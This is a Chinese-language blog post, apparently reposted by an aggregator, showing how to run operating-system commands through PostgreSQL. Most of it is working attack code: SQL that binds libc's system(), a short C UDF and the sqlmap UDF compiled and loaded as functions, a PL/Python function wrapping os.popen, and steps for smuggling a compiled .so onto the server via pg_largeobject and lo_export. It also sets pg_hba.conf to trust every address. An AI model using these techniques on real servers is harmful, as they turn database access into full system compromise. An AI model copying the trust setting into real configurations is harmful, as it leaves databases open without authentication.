如何利用postgresql执行操作系统命令?
Posted 黄老湿的地摊
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何利用postgresql执行操作系统命令?相关的知识,希望对你有一定的参考价值。
2018/12/13 星期四 阴
研究某国产数据库玩玩,发现跟postgresql长的太像了,所以顺便就折腾了一下postgres。
1、安装配置
安装依赖包:
sudo apt-get install zlib1g-dev sudo apt-get install libreadline-dev
常规编译:
./configure --prefix=/opt/psql --with-python
老版本8.2.0编译完成之后,运行报错,可以尝试编译:
sudo apt-get install gcc-4.7 make clean; ./configure CC='gcc-4.7 -m64' --prefix=/opt/psql --with-python make && make install
安装目录
/opt/psql/bin里面放的是可执行命令,比如createdb之类的; /opt/psql/lib里面放的是库文件; /opt/psql/include里面放的是头文件; /opt/psql/share是相关的资源文件。
设置客户端环境变量:
编辑/home/postgres下的.bash_profile,设置以下的环境变量
export PGHOME=/opt/psql (安装目录) export PGDATA=~/data (数据存放的目录,存放在postgres用户目录下) export PATH=$PATH:$HOME/bin:$PGHOME/bin
然后source一下
source ~/.bash_profile
使环境变量生效。
初始化数据库:
initdb
启动数据库:
postgres -D /home/docker/data pg_ctl -D /home/docker/data -l logfile start
连接数据库:
psql -d postgres
2、执行命令
2.1 第一种执行命令方式:老版本利用系统自带库函数
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
位置不一定是这个可以是
/lib/x86_64-linux-gnu/libc.so.6
报错:
postgres=# CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
ERROR: could not access file "/lib/libc.so.6": No such file or directory
postgres=# CREATE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
ERROR: incompatible library "/lib/x86_64-linux-gnu/libc.so.6": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码
经实际测试即使postgresql8.2.0也不能直接调用第三方库函数,可能之前的更老的7版本的有这个可能。
2.2 第二种执行命令方式:利用udf自定义函数
可以利用现成的udf,sqlmap已经提供,不过是异或加密的,需要先解密出来
cloak.py -i lib_postgresqludf_sys.so_ -o 82udf.so
gcc -Wall -I/opt/psql/include/postgresql/server -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
如果嫌弃这个sqlmap的 udf有点庞大,可以利用下面这个
简短的C利用代码:
#include "postgres.h" #include "fmgr.h" #include <stdlib.h> #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif text *exec() { system("/bin/touch /tmp/fuck.txt"); }
编译
gcc cmd.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so create or replace function exec(text) returns text as '/tmp/udf.so','exec' language c strict; select exec('');
2.3 第三种方式:利用第三方扩展
PostgreSQL可以支持多种存储过程语言,官方支持的除了PL/pgSQL,还有TCL,Perl,Python
编译的时候需要加上 --with-perl --with-tcl --with-python
查看支持哪些扩展语言
select * from pg_language
启用扩展
create extension plpythonu;
由于Python有Python2和Python3两个版本,以上是使用默认的Python,也就是Python2。如果需要指明是哪个Python版本,可以将上述命令中的plpythonu替换成plpython2u或plpython3u。
某些版本或者可以用 create language,效果一样
create language plpythonu
CREATE FUNCTION exec_cmd (a text) RETURNS text AS $$ import os return os.popen(a).read() $$ LANGUAGE plpythonu; select exec_cmd('whoami');
删除函数:
DROP FUNCTION exec_cmd(text);
如果不需要PL/Python了,可以将这个扩展drop掉,
drop extension plpythonu;
可以通过\df查看定义有哪些函数。
postgres=# \df exec List of functions Schema | Name | Result data type | Argument data types | Type --------+------+------------------+---------------------+-------- public | exec | text | text | normal (1 row)
库目录:
/opt/psql/lib/postgresql /home/docker/postgresql-8.2.0/src/pl/plpython
3、传输二进制大文件
要把本机生成的82sqlmapudf.so导出到服务端,可以采用 pg_largeobject“大对象数据”,最大是2k
命令:
split -b 2048 /tmp/82sqlmapudf.so
执行之后,在本目录下生成xa序列文件
base64 -w 0 xaa
获取base64编码后的字符
select lo_creat(-1);
获取oid的值为32789;
oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。
delete from pg_largeobject where loid=32789;
等于变相清空"页面",不要干扰库的生成
把base64编码过后的文件插入pg_largeobject表
INSERT INTO pg_largeobject (loid, pageno, data) values (32789,0, decode('base64xaa', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) values (32789,1, decode('base64xab', 'base64'));
利用PostgreSQL自带函数将大型对象导出到文件
SELECT lo_export(32789, '/tmp/cmd.so');
然后利用方式跟上面c函数库一样的方式create function。
自动化的方式采用pg_exec,效率非常高,不容易出错
https://github.com/Dionach/pgexec/tree/master
4、其它信息
查看版本:
psql --version select version(); show server_version; SHOW server_version_num; SELECT current_setting('server_version_num'); SELECT current_setting('server_version_num');返回类型为text,如果需要可以转换为interger SELECT current_setting('server_version_num')::integer;
查看PostgreSQL目录
SELECT setting FROM pg_settings
查看支持哪些扩展语言
select * from pg_language;
表操作:
createdb test CREATE TABLE mytable (id VARCHAR(20), name VARCHAR(30)); INSERT INTO mytable VALUES('author', 'alice'); SELECT * FROM mytable; \q
vi ~/data/pg_hba.conf
#在文件的最下方加上下面的这句话
host all all 0.0.0.0/0 trust
#设置监听整个网络,查找“listen_addresses ”字符串,
vi ~/data/postgresql.conf
#修改为如下:
listen_addresses = '*'
5、参考
Postgres SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
PostgreSQL 9.x Remote Command Execution
https://www.dionach.com/blog/postgresql-9x-remote-command-execution
https://www.jianshu.com/p/ba0297da2c2e
https://yq.aliyun.com/articles/424721
https://wooyun.js.org/drops/Hacking%20PostgreSQL.html
Hacking PostgreSQL
https://wooyun.js.org/drops/Hacking%20PostgreSQL.html
pgexec工具
https://github.com/Dionach/pgexec/tree/master
https://postgres.cz/wiki/PostgreSQL_SQL_Tricks
https://github.com/sqlmapproject/udfhack/
以上是关于如何利用postgresql执行操作系统命令?的主要内容,如果未能解决你的问题,请参考以下文章